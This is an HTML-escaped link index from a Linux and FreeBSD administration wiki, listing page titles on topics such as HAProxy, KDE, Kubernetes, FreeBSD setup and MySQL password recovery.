&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/faq-%D0%BF%D0%BE-%D0%B2%D0%BE%D1%81%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8E-%D0%B7%D0%B0%D0%B1%D1%8B%D1%82%D0%BE%D0%B3%D0%BE-%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8F-%D0%B0%D0%B4%D0%BC%D0%B8%D0%BD%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80%D0%B0-%D0%B2-mysql&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:faq-по-восстановлению-забытого-пароля-администратора-в-mysql&quot; data-wiki-id=&quot;linux_faq:faq-по-восстановлению-забытого-пароля-администратора-в-mysql&quot;&gt;faq-по-восстановлению-забытого-пароля-администратора-в-mysql&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/find_duplicates_in_ubuntu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:find_duplicates_in_ubuntu&quot; data-wiki-id=&quot;linux_faq:find_duplicates_in_ubuntu&quot;&gt;find_duplicates_in_ubuntu&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/firefox_privacy_hardening&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:firefox_privacy_hardening&quot; data-wiki-id=&quot;linux_faq:firefox_privacy_hardening&quot;&gt;firefox_privacy_hardening&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/firefox_rkn_unblock&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:firefox_rkn_unblock&quot; data-wiki-id=&quot;linux_faq:firefox_rkn_unblock&quot;&gt;firefox_rkn_unblock&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/fix_grub_initramfs_boot&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:fix_grub_initramfs_boot&quot; data-wiki-id=&quot;linux_faq:fix_grub_initramfs_boot&quot;&gt;fix_grub_initramfs_boot&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/fix_homedir_acl&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:fix_homedir_acl&quot; data-wiki-id=&quot;linux_faq:fix_homedir_acl&quot;&gt;fix_homedir_acl&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/fix_thin_lvm&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:fix_thin_lvm&quot; data-wiki-id=&quot;linux_faq:fix_thin_lvm&quot;&gt;fix_thin_lvm&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/flipper_zero&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:flipper_zero&quot; data-wiki-id=&quot;linux_faq:flipper_zero&quot;&gt;flipper_zero&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/force_umount_unreacheable_nfs_share&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:force_umount_unreacheable_nfs_share&quot; data-wiki-id=&quot;linux_faq:force_umount_unreacheable_nfs_share&quot;&gt;force_umount_unreacheable_nfs_share&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/freebsd_11.0_radeon_8000_can_not_load_module&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:freebsd_11.0_radeon_8000_can_not_load_module&quot; data-wiki-id=&quot;linux_faq:freebsd_11.0_radeon_8000_can_not_load_module&quot;&gt;freebsd_11.0_radeon_8000_can_not_load_module&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/freebsd_11_join_domain&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:freebsd_11_join_domain&quot; data-wiki-id=&quot;linux_faq:freebsd_11_join_domain&quot;&gt;freebsd_11_join_domain&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/freebsd_boot_from_usb_cant_mount_root&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:freebsd_boot_from_usb_cant_mount_root&quot; data-wiki-id=&quot;linux_faq:freebsd_boot_from_usb_cant_mount_root&quot;&gt;freebsd_boot_from_usb_cant_mount_root&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/freebsd_optimize_zfs_for_higher_capacity&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:freebsd_optimize_zfs_for_higher_capacity&quot; data-wiki-id=&quot;linux_faq:freebsd_optimize_zfs_for_higher_capacity&quot;&gt;freebsd_optimize_zfs_for_higher_capacity&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/freebsd_pkg_proxy&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:freebsd_pkg_proxy&quot; data-wiki-id=&quot;linux_faq:freebsd_pkg_proxy&quot;&gt;freebsd_pkg_proxy&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/freebsd_to_trueos&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:freebsd_to_trueos&quot; data-wiki-id=&quot;linux_faq:freebsd_to_trueos&quot;&gt;freebsd_to_trueos&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/get_ad_users_with_ldapsearch&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:get_ad_users_with_ldapsearch&quot; data-wiki-id=&quot;linux_faq:get_ad_users_with_ldapsearch&quot;&gt;get_ad_users_with_ldapsearch&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/groups_list_of_the_running_process&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:groups_list_of_the_running_process&quot; data-wiki-id=&quot;linux_faq:groups_list_of_the_running_process&quot;&gt;groups_list_of_the_running_process&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/haproxy_high_availability_cluster&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:haproxy_high_availability_cluster&quot; data-wiki-id=&quot;linux_faq:haproxy_high_availability_cluster&quot;&gt;haproxy_high_availability_cluster&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/haproxy_how_to_concatenate_intermidiate_certs_chain&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:haproxy_how_to_concatenate_intermidiate_certs_chain&quot; data-wiki-id=&quot;linux_faq:haproxy_how_to_concatenate_intermidiate_certs_chain&quot;&gt;haproxy_how_to_concatenate_intermidiate_certs_chain&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/haproxy_http_to_https_automatic_redirect&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:haproxy_http_to_https_automatic_redirect&quot; data-wiki-id=&quot;linux_faq:haproxy_http_to_https_automatic_redirect&quot;&gt;haproxy_http_to_https_automatic_redirect&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/haproxy_logs&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:haproxy_logs&quot; data-wiki-id=&quot;linux_faq:haproxy_logs&quot;&gt;haproxy_logs&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/how_to_get_yum_variables_arch_basearch_releasever_in_redhat_and_centos&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:how_to_get_yum_variables_arch_basearch_releasever_in_redhat_and_centos&quot; data-wiki-id=&quot;linux_faq:how_to_get_yum_variables_arch_basearch_releasever_in_redhat_and_centos&quot;&gt;how_to_get_yum_variables_arch_basearch_releasever_in_redhat_and_centos&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/how_to_open_msg_eml_files&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:how_to_open_msg_eml_files&quot; data-wiki-id=&quot;linux_faq:how_to_open_msg_eml_files&quot;&gt;how_to_open_msg_eml_files&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/how_to_run_process_with_root_privileges_without_sudo&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:how_to_run_process_with_root_privileges_without_sudo&quot; data-wiki-id=&quot;linux_faq:how_to_run_process_with_root_privileges_without_sudo&quot;&gt;how_to_run_process_with_root_privileges_without_sudo&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/http_tunnel&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:http_tunnel&quot; data-wiki-id=&quot;linux_faq:http_tunnel&quot;&gt;http_tunnel&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ilo2_com.hp.ilo2.remcons.remocons.class&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ilo2_com.hp.ilo2.remcons.remocons.class&quot; data-wiki-id=&quot;linux_faq:ilo2_com.hp.ilo2.remcons.remocons.class&quot;&gt;ilo2_com.hp.ilo2.remcons.remocons.class&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/installed_packeges_to_file&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:installed_packeges_to_file&quot; data-wiki-id=&quot;linux_faq:installed_packeges_to_file&quot;&gt;installed_packeges_to_file&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/install_freebsd_11_on_usb_flash_drive&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:install_freebsd_11_on_usb_flash_drive&quot; data-wiki-id=&quot;linux_faq:install_freebsd_11_on_usb_flash_drive&quot;&gt;install_freebsd_11_on_usb_flash_drive&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/install_guacamole_tomcat&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:install_guacamole_tomcat&quot; data-wiki-id=&quot;linux_faq:install_guacamole_tomcat&quot;&gt;install_guacamole_tomcat&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/install_headless_browser_ui4j_on_ubuntu_14.04&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:install_headless_browser_ui4j_on_ubuntu_14.04&quot; data-wiki-id=&quot;linux_faq:install_headless_browser_ui4j_on_ubuntu_14.04&quot;&gt;install_headless_browser_ui4j_on_ubuntu_14.04&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/install_kde5_on_ubuntu_16.04_server&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:install_kde5_on_ubuntu_16.04_server&quot; data-wiki-id=&quot;linux_faq:install_kde5_on_ubuntu_16.04_server&quot;&gt;install_kde5_on_ubuntu_16.04_server&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/install_latest_maven_on_ubuntu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:install_latest_maven_on_ubuntu&quot; data-wiki-id=&quot;linux_faq:install_latest_maven_on_ubuntu&quot;&gt;install_latest_maven_on_ubuntu&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/install_ms_sql_on_ubuntu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:install_ms_sql_on_ubuntu&quot; data-wiki-id=&quot;linux_faq:install_ms_sql_on_ubuntu&quot;&gt;install_ms_sql_on_ubuntu&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/install_vcenter_under_wine&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:install_vcenter_under_wine&quot; data-wiki-id=&quot;linux_faq:install_vcenter_under_wine&quot;&gt;install_vcenter_under_wine&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/intel_ax210ngw_ubuntu_drivers_and_firmware&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:intel_ax210ngw_ubuntu_drivers_and_firmware&quot; data-wiki-id=&quot;linux_faq:intel_ax210ngw_ubuntu_drivers_and_firmware&quot;&gt;intel_ax210ngw_ubuntu_drivers_and_firmware&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/io_sync_progress&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:io_sync_progress&quot; data-wiki-id=&quot;linux_faq:io_sync_progress&quot;&gt;io_sync_progress&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/iredmail_upgrade&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:iredmail_upgrade&quot; data-wiki-id=&quot;linux_faq:iredmail_upgrade&quot;&gt;iredmail_upgrade&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/iredmail_upgrade_0.9.8_to_0.9.9&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:iredmail_upgrade_0.9.8_to_0.9.9&quot; data-wiki-id=&quot;linux_faq:iredmail_upgrade_0.9.8_to_0.9.9&quot;&gt;iredmail_upgrade_0.9.8_to_0.9.9&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kate_ide_python_debug&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kate_ide_python_debug&quot; data-wiki-id=&quot;linux_faq:kate_ide_python_debug&quot;&gt;kate_ide_python_debug&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_autostart&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_autostart&quot; data-wiki-id=&quot;linux_faq:kde_autostart&quot;&gt;kde_autostart&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_debug_errors&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_debug_errors&quot; data-wiki-id=&quot;linux_faq:kde_debug_errors&quot;&gt;kde_debug_errors&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_default_settings_customizing&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_default_settings_customizing&quot; data-wiki-id=&quot;linux_faq:kde_default_settings_customizing&quot;&gt;kde_default_settings_customizing&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_dolphin_mount_img_from_context_menu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_dolphin_mount_img_from_context_menu&quot; data-wiki-id=&quot;linux_faq:kde_dolphin_mount_img_from_context_menu&quot;&gt;kde_dolphin_mount_img_from_context_menu&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_kate_replace_new_line&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_kate_replace_new_line&quot; data-wiki-id=&quot;linux_faq:kde_kate_replace_new_line&quot;&gt;kde_kate_replace_new_line&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_kioexec_cache_is_a_folder_but_file_was_expected&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_kioexec_cache_is_a_folder_but_file_was_expected&quot; data-wiki-id=&quot;linux_faq:kde_kioexec_cache_is_a_folder_but_file_was_expected&quot;&gt;kde_kioexec_cache_is_a_folder_but_file_was_expected&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_not_copying_etc_skel_on_user_first_login&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_not_copying_etc_skel_on_user_first_login&quot; data-wiki-id=&quot;linux_faq:kde_not_copying_etc_skel_on_user_first_login&quot;&gt;kde_not_copying_etc_skel_on_user_first_login&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_on_ubuntu_server_minimal&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_on_ubuntu_server_minimal&quot; data-wiki-id=&quot;linux_faq:kde_on_ubuntu_server_minimal&quot;&gt;kde_on_ubuntu_server_minimal&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_restore_wifi_passwords&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_restore_wifi_passwords&quot; data-wiki-id=&quot;linux_faq:kde_restore_wifi_passwords&quot;&gt;kde_restore_wifi_passwords&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_task_manager_launchers&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_task_manager_launchers&quot; data-wiki-id=&quot;linux_faq:kde_task_manager_launchers&quot;&gt;kde_task_manager_launchers&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kde_the_file_or_folder_smb_does_not_exists&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kde_the_file_or_folder_smb_does_not_exists&quot; data-wiki-id=&quot;linux_faq:kde_the_file_or_folder_smb_does_not_exists&quot;&gt;kde_the_file_or_folder_smb_does_not_exists&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/keycloak_on_kubernetes_import_root_ca_ldaps&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:keycloak_on_kubernetes_import_root_ca_ldaps&quot; data-wiki-id=&quot;linux_faq:keycloak_on_kubernetes_import_root_ca_ldaps&quot;&gt;keycloak_on_kubernetes_import_root_ca_ldaps&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kubernetes_change_kube-router_to_flannel&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kubernetes_change_kube-router_to_flannel&quot; data-wiki-id=&quot;linux_faq:kubernetes_change_kube-router_to_flannel&quot;&gt;kubernetes_change_kube-router_to_flannel&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kubernetes_delete_namespace_hung_in_terminating_state&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kubernetes_delete_namespace_hung_in_terminating_state&quot; data-wiki-id=&quot;linux_faq:kubernetes_delete_namespace_hung_in_terminating_state&quot;&gt;kubernetes_delete_namespace_hung_in_terminating_state&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kubernetes_get_supported_api_versions&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kubernetes_get_supported_api_versions&quot; data-wiki-id=&quot;linux_faq:kubernetes_get_supported_api_versions&quot;&gt;kubernetes_get_supported_api_versions&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kubernetes_helm&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kubernetes_helm&quot; data-wiki-id=&quot;linux_faq:kubernetes_helm&quot;&gt;kubernetes_helm&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kubernetes_kubelet_setting_volume_ownership_warning_flood&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kubernetes_kubelet_setting_volume_ownership_warning_flood&quot; data-wiki-id=&quot;linux_faq:kubernetes_kubelet_setting_volume_ownership_warning_flood&quot;&gt;kubernetes_kubelet_setting_volume_ownership_warning_flood&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kubernetes_using_single_node_as_master_and_worker&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kubernetes_using_single_node_as_master_and_worker&quot; data-wiki-id=&quot;linux_faq:kubernetes_using_single_node_as_master_and_worker&quot;&gt;kubernetes_using_single_node_as_master_and_worker&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/kvm_usb_hotplug&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:kvm_usb_hotplug&quot; data-wiki-id=&quot;linux_faq:kvm_usb_hotplug&quot;&gt;kvm_usb_hotplug&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/l2tp_server_in_openvz_container&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:l2tp_server_in_openvz_container&quot; data-wiki-id=&quot;linux_faq:l2tp_server_in_openvz_container&quot;&gt;l2tp_server_in_openvz_container&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/laptop_brightness_troubleshooting&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:laptop_brightness_troubleshooting&quot; data-wiki-id=&quot;linux_faq:laptop_brightness_troubleshooting&quot;&gt;laptop_brightness_troubleshooting&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/lets_encrypt_certificates_on_ubuntu&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:lets_encrypt_certificates_on_ubuntu&quot; data-wiki-id=&quot;linux_faq:lets_encrypt_certificates_on_ubuntu&quot;&gt;lets_encrypt_certificates_on_ubuntu&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/libvirt_firewalld&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:libvirt_firewalld&quot; data-wiki-id=&quot;linux_faq:libvirt_firewalld&quot;&gt;libvirt_firewalld&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/lighttpd-setup-a-password-protected-directory-directories&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:lighttpd-setup-a-password-protected-directory-directories&quot; data-wiki-id=&quot;linux_faq:lighttpd-setup-a-password-protected-directory-directories&quot;&gt;lighttpd-setup-a-password-protected-directory-directories&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/linux_x_add_custom_resolutions&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:linux_x_add_custom_resolutions&quot; data-wiki-id=&quot;linux_faq:linux_x_add_custom_resolutions&quot;&gt;linux_x_add_custom_resolutions&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/list_of_all_packages_installed_in_system_for_apt-get&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:list_of_all_packages_installed_in_system_for_apt-get&quot; data-wiki-id=&quot;linux_faq:list_of_all_packages_installed_in_system_for_apt-get&quot;&gt;list_of_all_packages_installed_in_system_for_apt-get&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
